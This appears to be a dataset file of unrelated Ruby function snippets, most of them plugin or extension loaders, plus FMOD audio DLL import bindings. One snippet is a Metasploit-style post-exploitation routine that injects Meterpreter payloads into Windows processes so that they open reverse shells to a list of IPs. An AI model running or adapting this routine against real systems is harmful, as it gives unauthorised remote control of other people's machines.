"def add_extension_client(mod)\n\t\tpath = \"post/meterpreter/ui/console/command_dispatcher/#{mod}.rb\"\n\n\t\tif ((klass = CommDispatcher.check_hash(path)) == nil)\n\t\t\tclirb = File.join(Rex::Root, path)\n\t\t\told = CommDispatcher.constants\n\n\t\t\tif (require(clirb))\n\t\t\t\tnew = CommDispatcher.constants\n\t\t\t\tdiff = new - old\n\n\t\t\t\tif (diff.empty? == true)\n\t\t\t\t\tprint_error(\"Failed to load client portion of #{mod}.\")\n\t\t\t\t\treturn false\n\t\t\t\tend\n\n\t\t\t\tklass = CommDispatcher.const_get(diff[0])\n\n\t\t\t\tCommDispatcher.set_hash(path, klass)\n\t\t\telse\n\t\t\t\tprint_error(\"Failed to load client script file: #{clirb}\")\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\n\t\t# Enstack the dispatcher\n\t\tself.shell.enstack_dispatcher(klass)\n\n\t\t# Insert the module into the list of extensions\n\t\tself.extensions << mod\n\tend",
"def pre_hard_load(mod); end",
"def pre_soft_load(mod); end",
"def post_soft_load(mod); end",
"def extension_loader\n ExtensionLoader.instance { |l| l.initializer = self }\n end",
"def post_hard_load(mod); end",
"def run\n unless session.platform == 'windows' && [ARCH_X64, ARCH_X86].include?(session.arch)\n print_error(\"This module requires native Windows meterpreter functions not compatible with the selected session\")\n return\n end\n # Set variables\n multi_ip = nil\n multi_pid = nil\n\n print_status(\"Running module against #{sysinfo['Computer']}\")\n\n if datastore['HANDLER']\n create_multi_handler(datastore['PAYLOAD'],datastore['LPORT'])\n end\n\n multi_ip = datastore['IPLIST'].split(\";\")\n multi_pid = datastore['PIDLIST'].split(\";\")\n\n datastore['AMOUNT'].times do # iterate through number of shells\n\n multi_ip.zip(multi_pid).each do |a|\n # Check if we have an IP for the session\n if a[1]\n payload = create_payload(datastore['PAYLOAD'],a[0],datastore['LPORT'])\n inject(a[1],payload)\n select(nil, nil, nil, 5)\n else\n # if no PID we create a process to host the Meterpreter session\n payload = create_payload(datastore['PAYLOAD'],a[0],datastore['LPORT'])\n pid_num = start_proc(datastore['PROCESSNAME'])\n inject(pid_num,payload)\n select(nil, nil, nil, 5)\n end\n\n end\n end\n end",
"def add_extension_client(mod)\n loaded = false\n klass = nil\n self.class.client_extension_search_paths.each do |path|\n path = ::File.join(path, \"#{mod}.rb\")\n klass = CommDispatcher.check_hash(path)\n if klass.nil?\n old = CommDispatcher.constants\n next unless ::File.exist? path\n\n if require(path)\n new = CommDispatcher.constants\n diff = new - old\n\n next if diff.empty?\n\n klass = CommDispatcher.const_get(diff[0])\n\n CommDispatcher.set_hash(path, klass)\n loaded = true\n break\n else\n print_error(\"Failed to load client script file: #{path}\")\n return false\n end\n else\n # the klass is already loaded, from a previous invocation\n loaded = true\n break\n end\n end\n unless loaded\n print_error(\"Failed to load client portion of #{mod}.\")\n return false\n end\n\n # Enstack the dispatcher\n self.shell.enstack_dispatcher(klass)\n\n # Insert the module into the list of extensions\n self.extensions << mod\n end",
"def load_extension path\n instance_eval(File.read(File.join(File.dirname(__FILE__), path)))\n end",
"def load\n @bot_ip = @network.bot_ip(@config) # Helper to set bot_ip\n case @config['type']\n when 'script'\n @lang_settings = lang_settings(@config['language'])\n filename = \"#{@name}#{@lang_settings[:file_type]}\"\n load_docker(filename)\n write_script(filename)\n when 'container', 'docker'\n # load the docker container set in the config\n load_passive unless @config['listen_type'] == 'active'\n load_active if @config['listen_type'] == 'active'\n when 'api'\n load_api\n else\n raise \"Plugin: #{@name}: only 'script', 'container', and 'api' are known\"\n end\n help_load\n end",
"def loadLowDLL()\n # System\n @@lowDLL.import(\"System_AttachChannelGroupToPort\", \"lllpl\")\n @@lowDLL.import(\"System_AttachFileSystem\", \"lllll\")\n @@lowDLL.import(\"System_Close\", \"l\")\n @@lowDLL.import(\"System_Create\", \"p\")\n @@lowDLL.import(\"System_CreateChannelGroup\", \"llp\")\n @@lowDLL.import(\"System_CreateDSP\", \"llp\")\n @@lowDLL.import(\"System_CreateDSPByPlugin\", \"llp\")\n @@lowDLL.import(\"System_CreateDSPByType\", \"llp\")\n @@lowDLL.import(\"System_CreateGeometry\", \"lllp\")\n @@lowDLL.import(\"System_CreateReverb3D\", \"lp\")\n @@lowDLL.import(\"System_CreateSound\", \"llllp\")\n @@lowDLL.import(\"System_CreateSoundGroup\", \"llp\")\n @@lowDLL.import(\"System_CreateStream\", \"llllp\")\n @@lowDLL.import(\"System_DetachChannelGroupFromPort\", \"ll\")\n @@lowDLL.import(\"System_Get3DListenerAttributes\", \"llllll\")\n @@lowDLL.import(\"System_Get3DNumListeners\", \"ll\")\n @@lowDLL.import(\"System_Get3DSettings\", \"llll\")\n @@lowDLL.import(\"System_GetAdvancedSettings\", \"ll\")\n @@lowDLL.import(\"System_GetCPUUsage\", \"lllll\")\n @@lowDLL.import(\"System_GetChannel\", \"llp\")\n @@lowDLL.import(\"System_GetChannelsPlaying\", \"lll\")\n @@lowDLL.import(\"System_GetDSPBufferSize\", \"lll\")\n @@lowDLL.import(\"System_GetDSPInfoByPlugin\", \"llp\")\n @@lowDLL.import(\"System_GetDefaultMixMatrix\", \"lllll\")\n @@lowDLL.import(\"System_GetDriver\", \"ll\")\n @@lowDLL.import(\"System_GetDriverInfo\", \"llllllll\")\n @@lowDLL.import(\"System_GetFileUsage\", \"llll\")\n @@lowDLL.import(\"System_GetGeometryOcclusion\", \"lllll\")\n @@lowDLL.import(\"System_GetGeometrySettings\", \"ll\")\n @@lowDLL.import(\"System_GetMasterChannelGroup\", \"lp\")\n @@lowDLL.import(\"System_GetMasterSoundGroup\", \"lp\")\n @@lowDLL.import(\"System_GetNestedPlugin\", \"llll\")\n @@lowDLL.import(\"System_GetNetworkProxy\", \"lll\")\n @@lowDLL.import(\"System_GetNetworkTimeout\", \"ll\")\n @@lowDLL.import(\"System_GetNumDrivers\", \"ll\")\n @@lowDLL.import(\"System_GetNumNestedPlugins\", \"lll\")\n @@lowDLL.import(\"System_GetNumPlugins\", \"lll\")\n @@lowDLL.import(\"System_GetOutput\", \"ll\")\n @@lowDLL.import(\"System_GetOutputByPlugin\", \"ll\")\n @@lowDLL.import(\"System_GetOutputHandle\", \"lp\")\n @@lowDLL.import(\"System_GetPluginHandle\", \"llll\")\n @@lowDLL.import(\"System_GetPluginInfo\", \"llllll\")\n @@lowDLL.import(\"System_GetRecordDriverInfo\", \"lllllllll\")\n @@lowDLL.import(\"System_GetRecordNumDrivers\", \"lll\")\n @@lowDLL.import(\"System_GetRecordPosition\", \"lll\")\n @@lowDLL.import(\"System_GetReverbProperties\", \"lll\")\n @@lowDLL.import(\"System_GetSoftwareChannels\", \"ll\")\n @@lowDLL.import(\"System_GetSoftwareFormat\", \"llll\")\n @@lowDLL.import(\"System_GetSoundRAM\", \"llll\")\n @@lowDLL.import(\"System_GetSpeakerModeChannels\", \"lll\")\n @@lowDLL.import(\"System_GetSpeakerPosition\", \"lllll\")\n @@lowDLL.import(\"System_GetStreamBufferSize\", \"lll\")\n @@lowDLL.import(\"System_GetUserData\", \"lp\")\n @@lowDLL.import(\"System_GetVersion\", \"ll\")\n @@lowDLL.import(\"System_Init\", \"llll\")\n @@lowDLL.import(\"System_IsRecording\", \"lll\")\n @@lowDLL.import(\"System_LoadGeometry\", \"lllp\")\n @@lowDLL.import(\"System_LoadPlugin\", \"llll\")\n @@lowDLL.import(\"System_LockDSP\", \"l\")\n @@lowDLL.import(\"System_MixerResume\", \"l\")\n @@lowDLL.import(\"System_MixerSuspend\", \"l\")\n @@lowDLL.import(\"System_PlayDSP\", \"llllp\")\n @@lowDLL.import(\"System_PlaySound\", \"llllp\")\n @@lowDLL.import(\"System_RecordStart\", \"llll\")\n @@lowDLL.import(\"System_RecordStop\", \"ll\")\n @@lowDLL.import(\"System_RegisterCodec\", \"llll\")\n @@lowDLL.import(\"System_RegisterDSP\", \"lll\")\n @@lowDLL.import(\"System_RegisterOutput\", \"lll\")\n @@lowDLL.import(\"System_Release\", \"l\")\n @@lowDLL.import(\"System_Set3DListenerAttributes\", \"llllll\")\n @@lowDLL.import(\"System_Set3DNumListeners\", \"ll\")\n @@lowDLL.import(\"System_Set3DRolloffCallback\", \"ll\")\n @@lowDLL.import(\"System_Set3DSettings\", \"llll\")\n @@lowDLL.import(\"System_SetAdvancedSettings\", \"ll\")\n @@lowDLL.import(\"System_SetCallback\", \"lll\")\n @@lowDLL.import(\"System_SetDSPBufferSize\", \"lll\")\n @@lowDLL.import(\"System_SetDriver\", \"ll\")\n @@lowDLL.import(\"System_SetFileSystem\", \"llllllll\")\n @@lowDLL.import(\"System_SetGeometrySettings\", \"ll\")\n @@lowDLL.import(\"System_SetNetworkProxy\", \"ll\")\n @@lowDLL.import(\"System_SetNetworkTimeout\", \"ll\")\n @@lowDLL.import(\"System_SetOutput\", \"ll\")\n @@lowDLL.import(\"System_SetOutputByPlugin\", \"ll\")\n @@lowDLL.import(\"System_SetPluginPath\", \"ll\")\n @@lowDLL.import(\"System_SetReverbProperties\", \"lll\")\n @@lowDLL.import(\"System_SetSoftwareChannels\", \"ll\")\n @@lowDLL.import(\"System_SetSoftwareFormat\", \"llll\")\n @@lowDLL.import(\"System_SetSpeakerPosition\", \"lllll\")\n @@lowDLL.import(\"System_SetStreamBufferSize\", \"lll\")\n @@lowDLL.import(\"System_SetUserData\", \"ll\")\n @@lowDLL.import(\"System_UnloadPlugin\", \"ll\")\n @@lowDLL.import(\"System_UnlockDSP\", \"l\")\n @@lowDLL.import(\"System_Update\", \"l\")\n \n # Sound\n @@lowDLL.import(\"Sound_AddSyncPoint\", \"llllp\")\n @@lowDLL.import(\"Sound_DeleteSyncPoint\", \"ll\")\n @@lowDLL.import(\"Sound_Get3DConeSettings\", \"llll\")\n @@lowDLL.import(\"Sound_Get3DCustomRolloff\", \"lpl\")\n @@lowDLL.import(\"Sound_Get3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"Sound_GetDefaults\", \"lll\")\n @@lowDLL.import(\"Sound_GetFormat\", \"lllll\")\n @@lowDLL.import(\"Sound_GetLength\", \"lll\")\n @@lowDLL.import(\"Sound_GetLoopCount\", \"ll\")\n @@lowDLL.import(\"Sound_GetLoopPoints\", \"lllll\")\n @@lowDLL.import(\"Sound_GetMode\", \"ll\")\n @@lowDLL.import(\"Sound_GetMusicChannelVolume\", \"lll\")\n @@lowDLL.import(\"Sound_GetMusicNumChannels\", \"ll\")\n @@lowDLL.import(\"Sound_GetMusicSpeed\", \"ll\")\n @@lowDLL.import(\"Sound_GetName\", \"lll\")\n @@lowDLL.import(\"Sound_GetNumSubSounds\", \"ll\")\n @@lowDLL.import(\"Sound_GetNumSyncPoints\", \"ll\")\n @@lowDLL.import(\"Sound_GetNumTags\", \"lll\")\n @@lowDLL.import(\"Sound_GetOpenState\", \"lllll\")\n @@lowDLL.import(\"Sound_GetSoundGroup\", \"lp\")\n @@lowDLL.import(\"Sound_GetSubSound\", \"llp\")\n @@lowDLL.import(\"Sound_GetSubSoundParent\", \"lp\")\n @@lowDLL.import(\"Sound_GetSyncPoint\", \"llp\")\n @@lowDLL.import(\"Sound_GetSyncPointInfo\", \"llllll\")\n @@lowDLL.import(\"Sound_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"Sound_GetTag\", \"llll\")\n @@lowDLL.import(\"Sound_GetUserData\", \"lp\")\n @@lowDLL.import(\"Sound_Lock\", \"lllppll\")\n @@lowDLL.import(\"Sound_ReadData\", \"llll\")\n @@lowDLL.import(\"Sound_Release\", \"l\")\n @@lowDLL.import(\"Sound_SeekData\", \"ll\")\n @@lowDLL.import(\"Sound_Set3DConeSettings\", \"llll\")\n @@lowDLL.import(\"Sound_Set3DCustomRolloff\", \"lll\")\n @@lowDLL.import(\"Sound_Set3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"Sound_SetDefaults\", \"lll\")\n @@lowDLL.import(\"Sound_SetLoopCount\", \"ll\")\n @@lowDLL.import(\"Sound_SetLoopPoints\", \"lllll\")\n @@lowDLL.import(\"Sound_SetMode\", \"ll\")\n @@lowDLL.import(\"Sound_SetMusicChannelVolume\", \"lll\")\n @@lowDLL.import(\"Sound_SetMusicSpeed\", \"ll\")\n @@lowDLL.import(\"Sound_SetSoundGroup\", \"ll\")\n @@lowDLL.import(\"Sound_SetUserData\", \"ll\")\n @@lowDLL.import(\"Sound_Unlock\", \"lllll\")\n \n # Channel\n @@lowDLL.import(\"Channel_AddDSP\", \"lll\")\n @@lowDLL.import(\"Channel_AddFadePoint\", \"lll\")\n @@lowDLL.import(\"Channel_Get3DAttributes\", \"llll\")\n @@lowDLL.import(\"Channel_Get3DConeOrientation\", \"ll\")\n @@lowDLL.import(\"Channel_Get3DConeSettings\", \"llll\")\n @@lowDLL.import(\"Channel_Get3DCustomRolloff\", \"lpl\")\n @@lowDLL.import(\"Channel_Get3DDistanceFilter\", \"llll\")\n @@lowDLL.import(\"Channel_Get3DDopplerLevel\", \"ll\")\n @@lowDLL.import(\"Channel_Get3DLevel\", \"ll\")\n @@lowDLL.import(\"Channel_Get3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"Channel_Get3DOcclusion\", \"lll\")\n @@lowDLL.import(\"Channel_Get3DSpread\", \"ll\")\n @@lowDLL.import(\"Channel_GetAudibility\", \"ll\")\n @@lowDLL.import(\"Channel_GetChannelGroup\", \"lp\")\n @@lowDLL.import(\"Channel_GetCurrentSound\", \"lp\")\n @@lowDLL.import(\"Channel_GetDSP\", \"llp\")\n @@lowDLL.import(\"Channel_GetDSPClock\", \"lll\")\n @@lowDLL.import(\"Channel_GetDSPIndex\", \"lll\")\n @@lowDLL.import(\"Channel_GetDelay\", \"llll\")\n @@lowDLL.import(\"Channel_GetFadePoints\", \"llll\")\n @@lowDLL.import(\"Channel_GetFrequency\", \"ll\")\n @@lowDLL.import(\"Channel_GetIndex\", \"ll\")\n @@lowDLL.import(\"Channel_GetLoopCount\", \"ll\")\n @@lowDLL.import(\"Channel_GetLoopPoints\", \"lllll\")\n @@lowDLL.import(\"Channel_GetLowPassGain\", \"ll\")\n @@lowDLL.import(\"Channel_GetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"Channel_GetMode\", \"ll\")\n @@lowDLL.import(\"Channel_GetMute\", \"ll\")\n @@lowDLL.import(\"Channel_GetNumDSPs\", \"ll\")\n @@lowDLL.import(\"Channel_GetPaused\", \"ll\")\n @@lowDLL.import(\"Channel_GetPitch\", \"ll\")\n @@lowDLL.import(\"Channel_GetPosition\", \"lll\")\n @@lowDLL.import(\"Channel_GetPriority\", \"ll\")\n @@lowDLL.import(\"Channel_GetReverbProperties\", \"lll\")\n @@lowDLL.import(\"Channel_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"Channel_GetUserData\", \"lp\")\n @@lowDLL.import(\"Channel_GetVolume\", \"ll\")\n @@lowDLL.import(\"Channel_GetVolumeRamp\", \"ll\")\n @@lowDLL.import(\"Channel_IsPlaying\", \"ll\")\n @@lowDLL.import(\"Channel_IsVirtual\", \"ll\")\n @@lowDLL.import(\"Channel_RemoveDSP\", \"ll\")\n @@lowDLL.import(\"Channel_RemoveFadePoints\", \"lll\")\n @@lowDLL.import(\"Channel_Set3DAttributes\", \"llll\")\n @@lowDLL.import(\"Channel_Set3DConeOrientation\", \"ll\")\n @@lowDLL.import(\"Channel_Set3DConeSettings\", \"llll\")\n @@lowDLL.import(\"Channel_Set3DCustomRolloff\", \"lll\")\n @@lowDLL.import(\"Channel_Set3DDistanceFilter\", \"llll\")\n @@lowDLL.import(\"Channel_Set3DDopplerLevel\", \"ll\")\n @@lowDLL.import(\"Channel_Set3DLevel\", \"ll\")\n @@lowDLL.import(\"Channel_Set3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"Channel_Set3DOcclusion\", \"lll\")\n @@lowDLL.import(\"Channel_Set3DSpread\", \"ll\")\n @@lowDLL.import(\"Channel_SetCallback\", \"ll\")\n @@lowDLL.import(\"Channel_SetChannelGroup\", \"ll\")\n @@lowDLL.import(\"Channel_SetDSPIndex\", \"lll\")\n @@lowDLL.import(\"Channel_SetDelay\", \"llll\")\n @@lowDLL.import(\"Channel_SetFadePointRamp\", \"lll\")\n @@lowDLL.import(\"Channel_SetFrequency\", \"ll\")\n @@lowDLL.import(\"Channel_SetLoopCount\", \"ll\")\n @@lowDLL.import(\"Channel_SetLoopPoints\", \"lllll\")\n @@lowDLL.import(\"Channel_SetLowPassGain\", \"ll\")\n @@lowDLL.import(\"Channel_SetMixLevelsInput\", \"lll\")\n @@lowDLL.import(\"Channel_SetMixLevelsOutput\", \"lllllllll\")\n @@lowDLL.import(\"Channel_SetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"Channel_SetMode\", \"ll\")\n @@lowDLL.import(\"Channel_SetMute\", \"ll\")\n @@lowDLL.import(\"Channel_SetPan\", \"ll\")\n @@lowDLL.import(\"Channel_SetPaused\", \"ll\")\n @@lowDLL.import(\"Channel_SetPitch\", \"ll\")\n @@lowDLL.import(\"Channel_SetPosition\", \"lll\")\n @@lowDLL.import(\"Channel_SetPriority\", \"ll\")\n @@lowDLL.import(\"Channel_SetReverbProperties\", \"lll\")\n @@lowDLL.import(\"Channel_SetUserData\", \"ll\")\n @@lowDLL.import(\"Channel_SetVolume\", \"ll\")\n @@lowDLL.import(\"Channel_SetVolumeRamp\", \"ll\")\n @@lowDLL.import(\"Channel_Stop\", \"l\")\n \n # ChannelGroup\n @@lowDLL.import(\"ChannelGroup_AddDSP\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_AddFadePoint\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_AddGroup\", \"lllp\")\n @@lowDLL.import(\"ChannelGroup_Get3DAttributes\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Get3DConeOrientation\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Get3DConeSettings\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Get3DCustomRolloff\", \"lpl\")\n @@lowDLL.import(\"ChannelGroup_Get3DDistanceFilter\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Get3DDopplerLevel\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Get3DLevel\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Get3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Get3DOcclusion\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Get3DSpread\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetAudibility\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetChannel\", \"llp\")\n @@lowDLL.import(\"ChannelGroup_GetDSP\", \"llp\")\n @@lowDLL.import(\"ChannelGroup_GetDSPClock\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_GetDSPIndex\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_GetDelay\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_GetFadePoints\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_GetGroup\", \"llp\")\n @@lowDLL.import(\"ChannelGroup_GetLowPassGain\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetMixMatrix\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_GetMode\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetMute\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetName\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_GetNumChannels\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetNumDSPs\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetNumGroups\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetParentGroup\", \"lp\")\n @@lowDLL.import(\"ChannelGroup_GetPaused\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetPitch\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetReverbProperties\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"ChannelGroup_GetUserData\", \"lp\")\n @@lowDLL.import(\"ChannelGroup_GetVolume\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetVolumeRamp\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_IsPlaying\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Release\", \"l\")\n @@lowDLL.import(\"ChannelGroup_RemoveDSP\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_RemoveFadePoints\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Set3DAttributes\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Set3DConeOrientation\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Set3DConeSettings\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Set3DCustomRolloff\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Set3DDistanceFilter\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Set3DDopplerLevel\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Set3DLevel\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Set3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Set3DOcclusion\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Set3DSpread\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetCallback\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetDSPIndex\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_SetDelay\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_SetFadePointRamp\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_SetLowPassGain\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetMixLevelsInput\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_SetMixLevelsOutput\", \"lllllllll\")\n @@lowDLL.import(\"ChannelGroup_SetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"ChannelGroup_SetMode\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetMute\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetPan\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetPaused\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetPitch\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetReverbProperties\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_SetUserData\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetVolume\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetVolumeRamp\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Stop\", \"l\")\n \n # SoundGroup\n @@lowDLL.import(\"SoundGroup_GetMaxAudible\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetMaxAudibleBehavior\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetMuteFadeSpeed\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetName\", \"lll\")\n @@lowDLL.import(\"SoundGroup_GetNumPlaying\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetNumSounds\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetSound\", \"llp\")\n @@lowDLL.import(\"SoundGroup_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"SoundGroup_GetUserData\", \"lp\")\n @@lowDLL.import(\"SoundGroup_GetVolume\", \"ll\")\n @@lowDLL.import(\"SoundGroup_Release\", \"l\")\n @@lowDLL.import(\"SoundGroup_SetMaxAudible\", \"ll\")\n @@lowDLL.import(\"SoundGroup_SetMaxAudibleBehavior\", \"ll\")\n @@lowDLL.import(\"SoundGroup_SetMuteFadeSpeed\", \"ll\")\n @@lowDLL.import(\"SoundGroup_SetUserData\", \"ll\")\n @@lowDLL.import(\"SoundGroup_SetVolume\", \"ll\")\n @@lowDLL.import(\"SoundGroup_Stop\", \"l\")\n \n # DSP\n @@lowDLL.import(\"DSP_AddInput\", \"llpl\")\n @@lowDLL.import(\"DSP_DisconnectAll\", \"lll\")\n @@lowDLL.import(\"DSP_DisconnectFrom\", \"lll\")\n @@lowDLL.import(\"DSP_GetActive\", \"ll\")\n @@lowDLL.import(\"DSP_GetBypass\", \"ll\")\n @@lowDLL.import(\"DSP_GetChannelFormat\", \"llll\")\n @@lowDLL.import(\"DSP_GetDataParameterIndex\", \"lll\")\n @@lowDLL.import(\"DSP_GetIdle\", \"ll\")\n @@lowDLL.import(\"DSP_GetInfo\", \"llllll\")\n @@lowDLL.import(\"DSP_GetInput\", \"llpp\")\n @@lowDLL.import(\"DSP_GetMeteringEnabled\", \"lll\")\n @@lowDLL.import(\"DSP_GetMeteringInfo\", \"lll\")\n @@lowDLL.import(\"DSP_GetNumInputs\", \"ll\")\n @@lowDLL.import(\"DSP_GetNumOutputs\", \"ll\")\n @@lowDLL.import(\"DSP_GetNumParameters\", \"ll\")\n @@lowDLL.import(\"DSP_GetOutput\", \"llpp\")\n @@lowDLL.import(\"DSP_GetOutputChannelFormat\", \"lllllll\")\n @@lowDLL.import(\"DSP_GetParameterBool\", \"lllll\")\n @@lowDLL.import(\"DSP_GetParameterData\", \"llplll\")\n @@lowDLL.import(\"DSP_GetParameterFloat\", \"lllll\")\n @@lowDLL.import(\"DSP_GetParameterInfo\", \"llp\")\n @@lowDLL.import(\"DSP_GetParameterInt\", \"lllll\")\n @@lowDLL.import(\"DSP_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"DSP_GetType\", \"ll\")\n @@lowDLL.import(\"DSP_GetUserData\", \"lp\")\n @@lowDLL.import(\"DSP_GetWetDryMix\", \"llll\")\n @@lowDLL.import(\"DSP_Release\", \"l\")\n @@lowDLL.import(\"DSP_Reset\", \"l\")\n @@lowDLL.import(\"DSP_SetActive\", \"ll\")\n @@lowDLL.import(\"DSP_SetBypass\", \"ll\")\n @@lowDLL.import(\"DSP_SetChannelFormat\", \"llll\")\n @@lowDLL.import(\"DSP_SetMeteringEnabled\", \"lll\")\n @@lowDLL.import(\"DSP_SetParameterBool\", \"lll\")\n @@lowDLL.import(\"DSP_SetParameterData\", \"llll\")\n @@lowDLL.import(\"DSP_SetParameterFloat\", \"lll\")\n @@lowDLL.import(\"DSP_SetParameterInt\", \"lll\")\n @@lowDLL.import(\"DSP_SetUserData\", \"ll\")\n @@lowDLL.import(\"DSP_SetWetDryMix\", \"llll\")\n @@lowDLL.import(\"DSP_ShowConfigDialog\", \"lll\")\n \n # DSPConnection\n @@lowDLL.import(\"DSPConnection_GetInput\", \"lp\")\n @@lowDLL.import(\"DSPConnection_GetMix\", \"ll\")\n @@lowDLL.import(\"DSPConnection_GetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"DSPConnection_GetOutput\", \"lp\")\n @@lowDLL.import(\"DSPConnection_GetType\", \"ll\")\n @@lowDLL.import(\"DSPConnection_GetUserData\", \"lp\")\n @@lowDLL.import(\"DSPConnection_SetMix\", \"ll\")\n @@lowDLL.import(\"DSPConnection_SetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"DSPConnection_SetUserData\", \"ll\")\n \n # Geometry\n @@lowDLL.import(\"Geometry_AddPolygon\", \"lllllll\")\n @@lowDLL.import(\"Geometry_GetActive\", \"ll\")\n @@lowDLL.import(\"Geometry_GetMaxPolygons\", \"lll\")\n @@lowDLL.import(\"Geometry_GetNumPolygons\", \"ll\")\n @@lowDLL.import(\"Geometry_GetPolygonAttributes\", \"lllll\")\n @@lowDLL.import(\"Geometry_GetPolygonNumVertices\", \"lll\")\n @@lowDLL.import(\"Geometry_GetPolygonVertex\", \"llll\")\n @@lowDLL.import(\"Geometry_GetPosition\", \"ll\")\n @@lowDLL.import(\"Geometry_GetRotation\", \"lll\")\n @@lowDLL.import(\"Geometry_GetScale\", \"ll\")\n @@lowDLL.import(\"Geometry_GetUserData\", \"lp\")\n @@lowDLL.import(\"Geometry_Release\", \"l\")\n @@lowDLL.import(\"Geometry_Save\", \"lll\")\n @@lowDLL.import(\"Geometry_SetActive\", \"ll\")\n @@lowDLL.import(\"Geometry_SetPolygonAttributes\", \"lllll\")\n @@lowDLL.import(\"Geometry_SetPolygonVertex\", \"llll\")\n @@lowDLL.import(\"Geometry_SetPosition\", \"ll\")\n @@lowDLL.import(\"Geometry_SetRotation\", \"lll\")\n @@lowDLL.import(\"Geometry_SetScale\", \"ll\")\n @@lowDLL.import(\"Geometry_SetUserData\", \"ll\")\n \n # Reverb3D\n @@lowDLL.import(\"Reverb3D_Get3DAttributes\", \"llll\")\n @@lowDLL.import(\"Reverb3D_GetActive\", \"ll\")\n @@lowDLL.import(\"Reverb3D_GetProperties\", \"ll\")\n @@lowDLL.import(\"Reverb3D_GetUserData\", \"lp\")\n @@lowDLL.import(\"Reverb3D_Release\", \"l\")\n @@lowDLL.import(\"Reverb3D_Set3DAttributes\", \"llll\")\n @@lowDLL.import(\"Reverb3D_SetActive\", \"ll\")\n @@lowDLL.import(\"Reverb3D_SetProperties\", \"ll\")\n @@lowDLL.import(\"Reverb3D_SetUserData\", \"ll\")\n \n # Debugging functions\n # @@lowDLL.import(\"Debug_Initialize\", \"llll\")\n # @@lowDLL.import(\"File_GetDiskBusy\", \"l\")\n # @@lowDLL.import(\"File_SetDiskBusy\", \"l\")\n # @@lowDLL.import(\"Memory_GetStats\", \"lll\")\n # @@lowDLL.import(\"Memory_Initialize\", \"llllll\")\n end",
"def load_extensions(*exts)\r\n exts.each do |ext|\r\n load file_name(ext)\r\n sym = ext_sym(ext)\r\n cfg = @extcfg != nil ? @extcfg[ext] : nil\r\n obj = Object.const_get(sym).new(cfg, @extdb, @server, @irc_proto, @fn_registrar, @botstate, @udb, @cdb)\r\n obj.ext_load if obj.respond_to?(:ext_load)\r\n @extensions[sym] = obj\r\n end\r\n end",
